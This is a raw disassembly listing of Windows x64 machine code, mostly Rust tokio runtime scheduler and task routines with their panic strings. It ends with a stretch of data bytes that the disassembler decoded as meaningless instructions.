lea rcx, [rax + 0x10]
mov rdx, qword [rax + 0x60]
mov r8, qword [rax + 0x68]
shl r8, 4
xor r9d, r9d
cmp r8, r9
je 0x14009a505
mov r10, qword [rdx + r9]
mov r11, qword [r10 + 0x18]
mov r10d, dword [r10 + 0x20]
add r9, 0x10
cmp r10d, r11d
je 0x14009a4e9
jmp 0x14009a511
mov rax, qword [rax + 0xb0]
test rax, rax
je 0x14009a516
call fcn.140097e80
cmp byte [r15 + 0x4a], 0
jne 0x14009a36b
cmp byte [r15 + 0x4b], 0
jne 0x14009a36b
mov rcx, rdi
mov rdx, r15
mov r8d, 0x3b9aca00
call fcn.140097580
mov r15, rax
mov rax, qword [rsp + 0x48]
mov r12, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rdx, qword [r12 + 0xa8]
cmp rcx, rdx
jae 0x14009aed5
cmp byte [r15 + 0x4a], 0
jne 0x14009a59a
xor eax, eax
mov cl, 1
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a655
movzx eax, byte [r12 + 0xf8]
mov byte [r15 + 0x4a], al
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a667
cmp byte [r15 + 0x4b], 0
jne 0x14009a5a6
mov byte [r15 + 0x4b], 0
mov rax, qword [rsp + 0x48]
cmp qword [r15], 0
jne 0x14009a686
mov rcx, qword [r15 + 0x18]
mov rdx, qword [rcx + 0x18]
mov ecx, dword [rcx + 0x20]
cmp ecx, edx
jne 0x14009a686
mov r12, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a635
mov rax, qword [r12 + 0xd0]
mov rdi, qword [r12 + 0xe0]
shl rdi, 3
xor ecx, ecx
nop word cs:[rax + rax]
mov r14, rcx
cmp rdi, rcx
je 0x14009a612
lea rcx, [r14 + 8]
cmp qword [rax + r14], rbx
jne 0x14009a600
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a644
cmp rdi, r14
lea rdi, [rsp + 0x48]
jne 0x14009a516
jmp 0x14009a720
lea rcx, [r12 + 0xc8]
call fcn.1400a5fa0
jmp 0x14009a5e0
add r12, 0xc8
mov rcx, r12
call fcn.1400a5c60
jmp 0x14009a622
lea rcx, [r12 + 0xc8]
call fcn.1400a5fa0
jmp 0x14009a579
add r12, 0xc8
mov rcx, r12
call fcn.1400a5c60
cmp byte [r15 + 0x4b], 0
jne 0x14009a5a6
jmp 0x14009a5a1
mov r12, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a73e
mov rax, qword [r12 + 0xe0]
mov rcx, rax
neg rcx
mov rdx, 0xffffffffffffffff
lea r8, [rcx + rdx]
cmp r8, 0xffffffffffffffff
je 0x14009a700
mov r8, qword [r12 + 0xd0]
lea r9, [rdx + 1]
cmp qword [r8 + rdx*8 + 8], rdi
mov rdx, r9
jne 0x14009a6b7
cmp r9, rax
setae bl
mov rcx, qword [r8 + rax*8 - 8]
dec rax
mov qword [r8 + r9*8], rcx
mov qword [r12 + 0xe0], rax
lock add qword [r12 + 0xb8], 0x10000
jmp 0x14009a702
mov bl, 1
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a750
mov byte [r15 + 0x49], bl
lea rdi, [rsp + 0x48]
jmp 0x14009a36b
mov byte [r15 + 0x49], 1
jmp 0x14009a36b
add r12, 0xc8
mov rcx, r12
call fcn.1400a5c60
jmp 0x14009a4c8
lea rcx, [r12 + 0xc8]
call fcn.1400a5fa0
jmp 0x14009a6a2
add r12, 0xc8
mov rcx, r12
call fcn.1400a5c60
jmp 0x14009a712
mov qword [r12 + 0x80], 0
mov qword [rbx + rax], 0
mov rax, qword [rbx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rbx + rax + 8], 0
dec qword [r12 + 0x90]
xor ecx, ecx
mov al, 1
lock cmpxchg byte [r12 + 0x78], cl
jne 0x14009ae41
test rbx, rbx
je 0x14009a876
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x30]
xor ebp, ebp
mov r13b, 1
lea rbx, [r12 + 0x78]
jmp 0x14009a802
mov qword [r12 + 0x80], 0
mov qword [r14 + rax], 0
mov rax, qword [r14 + 0x10]
mov rax, qword [rax + 0x38]
mov qword [r14 + rax + 8], 0
dec qword [r12 + 0x90]
mov al, 1
lock cmpxchg byte [r12 + 0x78], bpl
jne 0x14009a85b
mov rax, qword [r14 + 0x10]
mov rcx, r14
call qword [rax + 0x30]
xor eax, eax
lock cmpxchg byte [r12 + 0x78], r13b
jne 0x14009a851
mov r14, qword [r12 + 0x88]
test r14, r14
je 0x14009a865
mov rax, qword [r14 + 0x10]
mov rax, qword [rax + 0x38]
mov rcx, qword [r14 + rax]
mov qword [r12 + 0x88], rcx
test rcx, rcx
je 0x14009a7c0
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rcx + rax + 8], 0
mov rax, qword [r14 + 0x10]
mov rax, qword [rax + 0x38]
jmp 0x14009a7cc
mov rcx, rbx
call fcn.1400a5fa0
jmp 0x14009a80d
mov rcx, rbx
call fcn.1400a5c60
jmp 0x14009a7f8
xor ecx, ecx
mov al, 1
lock cmpxchg byte [r12 + 0x78], cl
jne 0x14009ae8a
mov rax, qword [r15 + 0x10]
mov rcx, qword [r15 + 0x18]
mov rdx, qword [rax + 0xa8]
cmp rcx, rdx
jae 0x14009aee3
mov rax, qword [rsp + 0x48]
mov rbx, qword [rax + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x100], cl
jne 0x14009ae59
mov rdx, qword [rbx + 0x118]
cmp rdx, qword [rbx + 0x110]
jne 0x14009a8cc
lea rcx, [rbx + 0x108]
call fcn.140094fb0
mov rdx, qword [rbx + 0x118]
mov rax, qword [rbx + 0x108]
mov qword [rax + rdx*8], rdi
inc rdx
mov qword [rbx + 0x118], rdx
cmp rdx, qword [rbx + 0x68]
jne 0x14009abd2
mov qword [rbx + 0x118], 0
test rdx, rdx
je 0x14009aac7
mov r13, qword [rbx + 0x108]
lea rbp, [rdx*8]
add rbp, r13
lea rdi, [rbx + 0x120]
movabs r14, 0xffffffff00000000
jmp 0x14009a943
lea rcx, [rsp + 0x30]
call fcn.140093140
cmp r13, rbp
je 0x14009aac7
mov r12, qword [r13]
mov qword [rsp + 0x30], r12
mov rax, qword [r12 + 8]
mov qword [r12 + 8], 0
test rax, rax
je 0x14009afbf
add r13, 8
mov qword [rsp + 0x80], rax
nop
mov rcx, qword [r12]
mov qword [r12], 0
test rcx, rcx
jne 0x14009aa23
mov rax, qword [r12 + 0x18]
mov rax, qword [rax + 0x18]
mov r8, rax
shr r8, 0x20
mov dword [rsp + 0x94], r8d
mov rdx, qword [r12 + 0x18]
cmp dword [rdx + 0x20], eax
je 0x14009aa60
mov rcx, rax
nop
lea r9d, [rax + 1]
mov dword [rsp + 0x3c], r9d
cmp r8d, eax
jne 0x14009a9d0
mov eax, r9d
mov r8, rax
shl r8, 0x20
jmp 0x14009a9e2
cmp r9d, r8d
je 0x14009af3f
mov eax, r9d
mov r8, rcx
and r8, r14
or r8, rax
mov rax, rcx
lock cmpxchg qword [rdx + 0x18], r8
je 0x14009aa0e
mov r8, rax
shr r8, 0x20
mov dword [rsp + 0x94], r8d
mov rdx, qword [r12 + 0x18]
mov rcx, rax
cmp dword [rdx + 0x20], eax
jne 0x14009a9b0
jmp 0x14009aa60
mov rax, qword [r12 + 0x18]
movzx ecx, cl
mov rax, qword [rax + 0x10]
mov rcx, qword [rax + rcx*8]
test rcx, rcx
je 0x14009aa60
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14009af6e
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14009a970
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x14009a970
mov r12, qword [rsp + 0x80]
mov r15, qword [r12 + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x50], cl
jne 0x14009aa8b
lea rcx, [r15 + 0x10]
mov rdx, rdi
call fcn.1400972f0
xor eax, eax
xchg byte [r15 + 0x50], al
mov rdx, qword [r12 + 0x20]
test rdx, rdx
jne 0x14009aab9
mov rax, qword [rsp + 0x80]
lock dec qword [rax]
jne 0x14009a930
lea rcx, [rsp + 0x80]
call fcn.14000c050
jmp 0x14009a930
add r12, 0x20
mov rcx, r12
call fcn.1400a5930
jmp 0x14009aa95
mov rax, qword [rbx + 0xb0]
test rax, rax
je 0x14009abd2
xor r15d, r15d
mov bpl, 1
lea rdi, [rbx + 0xc8]
jmp 0x14009ab00
mov rax, qword [rbx + 0xb0]
test rax, rax
je 0x14009abd2
xor eax, eax
lock cmpxchg byte [rbx + 0xc8], bpl
jne 0x14009abb8
mov rax, qword [rbx + 0xb0]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [rbx + 0xb0], rdx
test rax, rax
je 0x14009ab70
mov r14, qword [rbx + 0xe8]
test r14, r14
je 0x14009ab70
mov rax, qword [r14 + 8]
mov qword [rbx + 0xe8], rax
test rax, rax
jne 0x14009ab59
mov qword [rbx + 0xf0], 0
mov qword [r14 + 8], 0
jmp 0x14009ab73
xor r14d, r14d
mov al, 1
lock cmpxchg byte [rbx + 0xc8], r15b
jne 0x14009abc5
test r14, r14
je 0x14009abd2
mov rax, 0xffffffffffffffc0
lock xadd qword [r14], rax
cmp rax, 0x3f
jbe 0x14009af6e
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14009aaf0
mov rax, qword [r14 + 0x10]
mov rcx, r14
call qword [rax + 0x10]
jmp 0x14009aaf0
mov rcx, rdi
call fcn.1400a5fa0
jmp 0x14009ab11
mov rcx, rdi
call fcn.1400a5c60
test r14, r14
jne 0x14009ab85
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx + 0x100], cl
jne 0x14009ae6a
cmp qword [rsp + 0x60], 0
jne 0x14009ac37
lea rdi, [rsp + 0xf0]
lea rbx, [rsp + 0x100]
nop dword [rax]
mov qword [rsp + 0x60], 0xffffffffffffffff
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x14009ac45
dec rax
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x68]
shl rax, 4
mov rdx, qword [rcx + rax]
mov rcx, qword [rcx + rax + 8]
call qword [rdx + 8]
inc qword [rsp + 0x60]
je 0x14009ac00
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulerdefer.rs
call fcn.1400a4800
ud2
mov qword [rsp + 0x60], 0
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0xd8]
mov qword [rax + 0x140], rcx
lea rcx, [rsp + 0x40]
call fcn.140097fa0
mov ecx, dword [rsp + 0x110]
mov edx, dword [rsp + 0x114]
call fcn.140095720
lea rcx, [rsp + 0xf8]
call fcn.140094c20
mov rax, qword [rsp + 0xf8]
cmp rax, 2
je 0x14009acdb
test rax, rax
je 0x14009acc5
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x14009acdb
mov rcx, rbx
call fcn.140092f20
jmp 0x14009acdb
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x14009acdb
mov rcx, rbx
call fcn.140092e30
cmp qword [rsp + 0xe8], 0
je 0x14009acfe
mov rax, qword [rsp + 0xf0]
lock dec qword [rax]
jne 0x14009ad14
mov rcx, rdi
call fcn.140092f20
jmp 0x14009ad14
mov rax, qword [rsp + 0xf0]
lock dec qword [rax]
jne 0x14009ad14
mov rcx, rdi
call fcn.140092e30
lea rdi, [rsi + 0x20]
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x14009ad6e
test eax, eax
jne 0x14009ad9f
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rbx, rsi
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rsi + 0x158], 1
mov rsi, rbx
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0xe0]
mov qword [rax + 0x128], rcx
mov rcx, qword [rsp + 0x138]
mov qword [rax + 0x130], rcx
mov qword [rsp + 0x40], 4
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14009b660
xorpd xmm0, xmm0
movapd xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], rdi
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14009b660
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x180]
movaps xmm7, xmmword [rsp + 0x190]
movaps xmm8, xmmword [rsp + 0x1a0]
movaps xmm9, xmmword [rsp + 0x1b0]
movaps xmm10, xmmword [rsp + 0x1c0]
movaps xmm11, xmmword [rsp + 0x1d0]
movaps xmm12, xmmword [rsp + 0x1e0]
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x14009b810
lea rcx, [r12 + 0x78]
call fcn.1400a5fa0
jmp 0x14009972f
lea rcx, [r12 + 0x78]
call fcn.1400a5c60
test rbx, rbx
jne 0x14009a7a8
jmp 0x14009a876
lea rcx, [rbx + 0x100]
call fcn.1400a5fa0
jmp 0x14009a8a9
add rbx, 0x100
mov rcx, rbx
call fcn.1400a5c60
cmp qword [rsp + 0x60], 0
je 0x14009abec
jmp 0x14009ac37
mov rcx, rbx
call fcn.1400a5c60
jmp 0x14009a876
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rdx
mov rdx, rax
call fcn.1400a4430
ud2
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zero
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
jmp 0x14009aec9
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zero
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
mov edx, 0x39
call fcn.1400a4530
ud2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1400a4430
ud2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1400a4430
ud2
lea rcx, str.attempt_to_divide_by_zero
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
mov edx, 0x19
call fcn.1400a4530
ud2
lea rcx, str.assertion_failed:_next.is_notified__C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_task_state.rs
lea r8, [0x1400e52c0]
mov edx, 0x24
call fcn.1400a4530
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1400e5550]
mov edx, 0x26
call fcn.1400a4530
ud2
mov qword [rsp + 0x98], 0
lea r9, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x94]
lea rdx, [rsp + 0x3c]
lea r8, [rsp + 0x98]
call fcn.1400a8340
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1400e54d0]
mov edx, 0x27
call fcn.1400a4530
ud2
mov qword [rsp + 0x98], 0
lea r9, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadqueue.rs
jmp 0x14009afb0
mov qword [rsp + 0x98], 0
lea r9, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x80]
jmp 0x14009af5f
lea rcx, str.park_missing
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
mov edx, 0xc
call fcn.1400a4960
ud2
ud2
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_taskcore.rs
jmp 0x14009b09a
lea rcx, str._internal_exception__blocking_task_ran_twice.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_blocking_task.rs
lea r8, [0x1400e5918]
mov edx, 0x2d
call fcn.1400a4960
ud2
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
jmp 0x14009b09a
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
call fcn.1400a4800
ud2
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x40]
call fcn.1400a4370
ud2
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulerdefer.rs
call fcn.1400a4860
ud2
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x80], rax
lea rax, [0x14003f490]
mov qword [rsp + 0x88], rax
lea rax, str.actual_
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
mov qword [rsp + 0xb8], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadqueue.rs
jmp 0x14009b192
lea rcx, [rsp + 0x178]
call fcn.140093140
lea rax, [0x1400e3608]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadlocal.rs
lea r9, [0x1400e3400]
lea r8, [rsp + 0x28]
mov edx, 0x46
call fcn.1400a48c0
ud2
lea rax, str.expected__MultiThread::Context_
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0xa8], rax
xorpd xmm0, xmm0
movupd xmmword [rsp + 0xb0], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0x98]
call fcn.1400a4370
ud2
lea rcx, str.explicit_panic
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadqueue.rs
mov edx, 0xe
call fcn.1400a4530
ud2
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x28]
lea rdx, [rax - 2]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14009b5f4
test rcx, rcx
jne 0x14009b62f
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x14009b62f
lock dec qword [rax]
jne 0x14009b62f
lea rcx, [rsi + 0x30]
call fcn.1400971a0
jmp 0x14009b62f
test rax, rax
je 0x14009b62f
mov rdi, qword [rsi + 0x30]
test rdi, rdi
je 0x14009b62f
mov rbx, qword [rsi + 0x38]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14009b62f
cmp qword [rbx + 0x10], 0x11
jb 0x14009b61d
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x14009b63f
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
sub rsp, 0x80
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14009b820
test al, 1
je 0x14009b8ab
test al, 2
jne 0x14009b8c5
test al, 8
jne 0x14009b857
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x28], 4
lea rdx, [rsp + 0x28]
call fcn.14009b660
jmp 0x14009b86f
test al, 0x10
je 0x14009b86f
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x14009b943
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x10]
mov qword [rsp + 0x20], 1
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14009b8df
jne 0x14009b8a1
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x14009b5b0
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x1400e5300]
mov edx, 0x23
call fcn.1400a4530
ud2
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x1400e5340]
mov edx, 0x25
call fcn.1400a4530
ud2
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.14003d600]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_XS
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x1400e5388]
jmp 0x14009b973
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x28]
call fcn.1400a4370
ud2
push rbp
outsb dx, byte [rsi]
jae 0x1400e1a41
jo 0x1400e1a3e
outsd dx, dword [rsi]
jb 0x1400e1a45
outsd dx, dword fs:[rsi]
je 0x1400e1a27
jb 0x1400e1a3e
jae 0x1400e1a40
outsb dx, byte [rsi]
je 0x1400e1a2c
outsd dx, dword [rsi]
je 0x1400e1a36
outsb dx, byte [rsi]
imul esp, dword [rbx + 0x6f], 0x75436564
jae 0x1400e1a5f
outsd dx, dword [rsi]
insd dword [rdi], dx
jb 0x1400e1a62
outsd dx, dword [rsi]
jb 0x1400e1a41
invalid
outsd dx, dword [rsi]
outsd dx, dword [rsi]
je 0x1400e1a3c
outsd dx, dword [rsi]
jne 0x1400e1a67
push rax
push rax
jb 0x1400e1a6b
imul esi, dword [rbx + 0x73], 0x446e6f69
outsb dx, byte gs:[rsi]
imul esp, dword [rbp + 0x64], 0x6e6e6f43
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
jae 0x1400e1a8e
je 0x1400e1a73
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jae 0x1400e1aa2
push rbp
outsb dx, byte [rsi]
jb 0x1400e1a97
invalid
invalid
je 0x1400e1ab4
ja case.0x140047d6e.14
outsd dx, dword [rsi]
jb 0x1400e1aab
push rbp
outsb dx, byte [rsi]
jb 0x1400e1aa9
invalid
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
je case.0x140047d6e.13
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
jb 0x1400e1ab6
jb 0x1400e1ab6
jb 0x1400e1ab6
outsb dx, byte [rsi]
push rbp
jae 0x1400e1ad6
jb 0x1400e1ac4
jb 0x1400e1ac4
outsd dx, dword [rsi]
je case.0x140047d6e.15
jbe 0x1400e1adc
imul ebp, dword [rcx + riz*2 + 0x62], 0x654e656c
je 0x1400e1afc
je 0x1400e1afc
outsd dx, dword [rsi]
jb 0x1400e1af3
outsd dx, dword [rsi]
ja 0x1400e1afa
jb 0x1400e1afe
outsd dx, dword [rsi]
imul esp, dword [rbp + 0x6e], 0x50
imul esi, dword [rax + 0x65], 0x65726c41
insb byte [rdi], dx
jb 0x1400e1aff
insb byte [rdi], dx
insb byte [rdi], dx
jb 0x1400e1aff
invalid
jae 0x1400e1afb
push rdi
outsd dx, dword [rsi]
jne 0x1400e1b13
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
je 0x1400e1af2
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x1400e1b04
invalid
invalid
je 0x1400e1b27
jb 0x1400e1b33
jae 0x1400e1afe
jae 0x1400e1afe
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x1400e1b0b
invalid
jb 0x1400e1b3f
imul r14d, dword [rdx + 0x65], 0x726f7463
imul esi, dword [rdx + 0x65], 0x726f7463
jns 0x1400e1b1e
outsd dx, dword [rsi]
je 0x1400e1b18
insd dword [rdi], dx
jo 0x1400e1b4a
jns 0x1400e1b2a
push rdx
invalid
outsb dx, byte [rsi]
insb byte [rdi], dx
jns 0x1400e1b26
imul ebp, dword [rbp + riz*2 + 0x73], 0x65747379
insd dword [rdi], dx
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jo case.0x140047d6e.26
push rbx
push rbx
je 0x1400e1b5b
insb byte [rdi], dx
je 0x1400e1b77
je 0x1400e1b77
je 0x1400e1b77
ja 0x1400e1b70
outsd dx, dword [rsi]
jb case.0x140047d6e.28
imul r13d, dword [rbp + r12*2 + 0x48], 0x6c646e61
imul ebp, dword [rbp + riz*2 + 0x48], 0x6c646e61
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
jbe 0x1400e1b72
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x6e], 0x49747570
invalid
outsb dx, byte fs:[rsi]
jo 0x1400e1b8d
je 0x1400e1b63
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1400e1b7e
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x61], 0x69546174
push rsp
imul ebp, dword [rbp + 0x65], 0x74754f64
insd dword [rdi], dx
jne 0x1400e1ba0
jne 0x1400e1ba0
push rdi
jb 0x1400e1b98
je 0x1400e1b96
pop rdx
jb 0x1400e1ba4
jb 0x1400e1ba4
push rbx
je 0x1400e1ba7
jb 0x1400e1b9b
jne 0x1400e1bab
insb byte [rdi], dx
outsd dx, dword [rsi]
je 0x1400e1b97
imul esp, dword gs:[rcx + 0x62], 0x6c
imul r13d, dword gs:[rbp + r12*2 + 0x73], 0x65747379
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
push rcx
jne 0x1400e1bc7
je 0x1400e1bbb
js 0x1400e1bc0
js 0x1400e1bc0
imul r13d, dword fs:[rbp + r12*2 + 0x54], 0x614c6f6f
imul r13d, dword [rbp + r12*2 + 0x54], 0x614c6f6f
imul ebp, dword [rbp + riz*2 + 0x54], 0x614c6f6f
